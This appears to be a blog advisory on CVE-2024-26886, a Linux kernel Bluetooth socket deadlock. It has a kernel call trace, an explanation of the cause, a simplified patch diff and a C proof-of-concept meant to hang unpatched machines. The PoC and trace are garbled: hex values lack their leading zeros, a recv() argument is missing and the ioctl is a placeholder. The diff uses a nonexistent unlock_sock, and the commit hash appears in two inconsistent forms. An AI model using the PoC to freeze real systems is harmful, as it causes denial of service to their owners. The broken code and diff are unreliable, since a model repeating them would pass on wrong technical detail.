Summary:
A critical bug in the Linux kernel’s Bluetooth protocol stack could cause system deadlocks and resource starvation. Identified under the CVE ID CVE-2024-26886, this flaw affected the af_bluetooth implementation. Below, we explore what went wrong, how it was fixed, and how to reproduce the behavior.
What Is CVE-2024-26886?
CVE-2024-26886 describes a deadlock vulnerability in the Linux kernel’s handling of Bluetooth sockets, particularly within the af_bluetooth protocol family. In affected kernel versions (e.g., 6.7.6-lemon), concurrent access to socket locking mechanisms in the Bluetooth stack could result in task deadlocks, potentially leaving vital system processes hung for prolonged periods (as noted in the "blocked for more than 30 seconds" error message).
Affected Component:
- net/bluetooth/af_bluetooth.c
What Caused the Deadlock?
In the Linux Bluetooth stack, the code previously attempted to take a socket lock (sock_lock) on recvmsg callbacks. This can lead to a circular lock dependency with other kernel threads performing I/O through the same or related socket. The situation would result in the call chain shown in dmesg output:
INFO: task kworker/u9:1:121 blocked for more than 30 seconds.
Not tainted 6.7.6-lemon #183
Workqueue: hci hci_rx_work
Call Trace:
<TASK>
__schedule+x37d/xa00
schedule+x32/xe
__lock_sock+x68/xa
lock_sock_nested+x43/x50
l2cap_sock_recv_cb+x21/xa
l2cap_recv_frame+x55b/x30a
hci_rx_work+x33a/x3f
process_one_work+x13a/x2f
worker_thread+x2f/x410
kthread+xe/x110
ret_from_fork+x2c/x50
ret_from_fork_asm+x1b/x30
</TASK>
This output illustrates a kernel worker thread stuck while attempting to lock a socket that's already locked elsewhere, leading to a system hang or "deadlock."
The Root Problem
The problem occurs because sock_lock is used directly in callback functions, some of which are not designed to re-enter locks safely. In particular, stack traces found the deadlock path through:
hci_rx_work
Lock inversion or an accidental double-lock can thus block the kernel worker indefinitely.
How Was It Fixed?
The official patch addressed the locking protocol. Instead of using sock_lock for receiving a message and risking a deadlock, the fix leverages the lower-level sk_receive_queue.lock within bt_sock_ioctl. This reduces lock scope and avoids unsafe re-entrance.
Patch Diff Example:
-static int bt_sock_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg)
-{
- // old locking method (problematic)
- lock_sock(sock->sk);
- ...
- unlock_sock(sock->sk);
-}
+static int bt_sock_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg)
+{
+ // new, safer locking method
+ spin_lock_bh(&sock->sk->sk_receive_queue.lock);
+ ...
+ spin_unlock_bh(&sock->sk->sk_receive_queue.lock);
+}
The spin_lock_bh() focuses only on message queue access, avoiding the more global, blocking lock_sock() usage.
Reference
- Linux Patch commit 91cf44c3dc8
- upstream bug report
Proof-of-Concept (PoC): Reproducing the Issue
Though this issue does not directly allow privilege escalation or code execution, it can be abused to hang Linux systems interacting with Bluetooth sockets under high load or specific concurrent socket access patterns. Here's a simplified PoC outline that demonstrates userland triggering of the condition.
Example C code
// (requires root; run on a vulnerable kernel)
#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
#include <pthread.h>
#include <unistd.h>
void *recv_thread(void *arg) {
int sock = *(int *)arg;
char buf[1024];
while (1) {
recv(sock, buf, sizeof(buf), ); // triggers sock_lock through recvmsg
}
}
int main() {
// Open two L2CAP sockets
int s1 = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
int s2 = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
pthread_t t1, t2;
pthread_create(&t1, NULL, recv_thread, &s1);
pthread_create(&t2, NULL, recv_thread, &s2);
// Simultaneously perform ioctls which take locks on both sockets
while(1) {
ioctl(s1, x4004, NULL); // Just example; replace with real L2CAP IOCTL
ioctl(s2, x4004, NULL);
usleep(10);
}
}
Warning: Running this on a kernel prior to the patch may cause the whole machine to become unresponsive.
Who’s Affected?
- Any Linux system with a kernel not yet patched per the above commit (especially custom or older vendor kernels) and using Bluetooth protocols—especially in high-load or concurrent scenarios.
Secure: How To Fix
- Update your kernel to a version including commit 91cf44c3dc8ca07dc42fbb547b1a4233776cc8a or check for backports from your Linux distribution.
Conclusion
CVE-2024-26886 demonstrates how even subtle protocol stack bugs can lead to severe impacts like system deadlocks with just the right traffic or command mix. While this vulnerability isn’t directly a privilege escalation or code execution bug, its system-wide DoS impact on unpatched servers is significant. The takeaway? Keep your Linux system and its kernel up to date, especially on hosts where Bluetooth is in use.
References:
- Official Linux Patch
- CVE entry at MITRE
- Linux bug discussion
Timeline
Published on: 04/17/2024 11:15:10 UTC
Last modified on: 12/04/2024 18:15:13 UTC